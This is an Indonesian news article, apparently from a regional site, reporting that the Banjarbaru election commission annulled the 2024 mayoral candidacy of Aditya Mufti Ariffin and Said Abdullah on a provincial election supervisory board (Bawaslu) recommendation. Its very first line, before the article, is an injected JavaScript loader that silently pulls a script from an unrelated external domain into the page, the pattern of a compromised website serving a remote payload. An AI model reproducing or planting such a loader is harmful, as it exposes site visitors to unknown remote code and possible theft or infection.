(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINEPemilu 2024

KPU Banjarbaru Sahkan Pembatalan Pencalonan Aditya-Said Abdullah


KANALKALIMANTAN.COM, BANJARBARU – Ketua Komisi Pemilihan Umum (KPU) Kota Banjarbaru, Dahtiar berikan keterangan terkait pembatalan pencalonan pasangan Aditya Mufti Ariffin-Said Abdullah sebagai calon Wali Kota dan Wakil Wali Kota Banjarbaru, Jumat (1/11/2024) siang.

Sekitar pukul 14.10 Wita, Dahtiar dengan dikawal personel kepolisian memasuki kantor KPU Banjarbaru setelah dikabarkan berangkat ke Jakarta.

Tak berselang lama, dalam sesi sesi konferensi pers sekitar 14.18 Wita, Dahtiar memberikan jawaban.

Dahtiar menjelaskan, KPU Banjarbaru mengeluarkan Surat Keputusan (SK) bernomor 124 tahun 2024 tentang pembatalan Aditya Mufti Ariffin dan Said Abdullah sebagai pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2024.

SK itu diputuskan atas rekomendasi yang disodorkan Bawaslu Provinsi Kalsel terkait pelanggaran administrasi pemilihan terhadap Wali Kota dan Wakil Wali Kota pada 28 Oktober 2024.

Baca juga: Terbukti Tidak Profesional, Tiga Komisioner Bawaslu Kalsel Diberi Sanksi “Peringatan Keras”

“Kita sudah menerima rekomendasi, setelah kita telaah melihat data-data bukti-bukti dalam rekomendasi tersebut, akhirnya kita juga melihat pemenuhan unsur-unsur terkait dengan pasal 71 ayat 1 junto ayat 3 yang disebutkan dalam rekomendasi tersebut, maka KPU Banjarbaru mengeluarkan SK Pembatalan tersebut di atas,” beber Dahtiar. 

Keputusan ini katanya mulai berlaku sejak tanggal ditetapkan yakni di Banjarbaru 31 Oktober 2024.

Ketua KPU Banjarbaru tak membuka sesi tanya jawab maupun menanggapi pertanyaan awak media selain membacakan isi SK tersebut.

Baca juga: Tensi Pilwali Banjarbaru Naik, KPU Banjarbaru Dijaga Ketat

“Saya kira kami akan sampaiakan salinannya ke tim paslon nomor urut 2, itu saja yang dapat saya sampaikan,” tutup Dahtiar.

Adapun isi keputusan itu ditetapkan:
1. Menetapkan pembatalan HM Aditya Mufti Ariffin SH MH dan Drs H Said Abdullah MSi sebagai pasangan calon wali kota dan wakil wali kota Banjarbaru tahun 2024.
2. Keputusan ini mulai berlaku dari tanggal ditetapkan. Ditetapkan di Banjarbaru pada tanggal 31 Oktober 2024. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

8 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

10 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

10 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

11 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

12 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

13 jam ago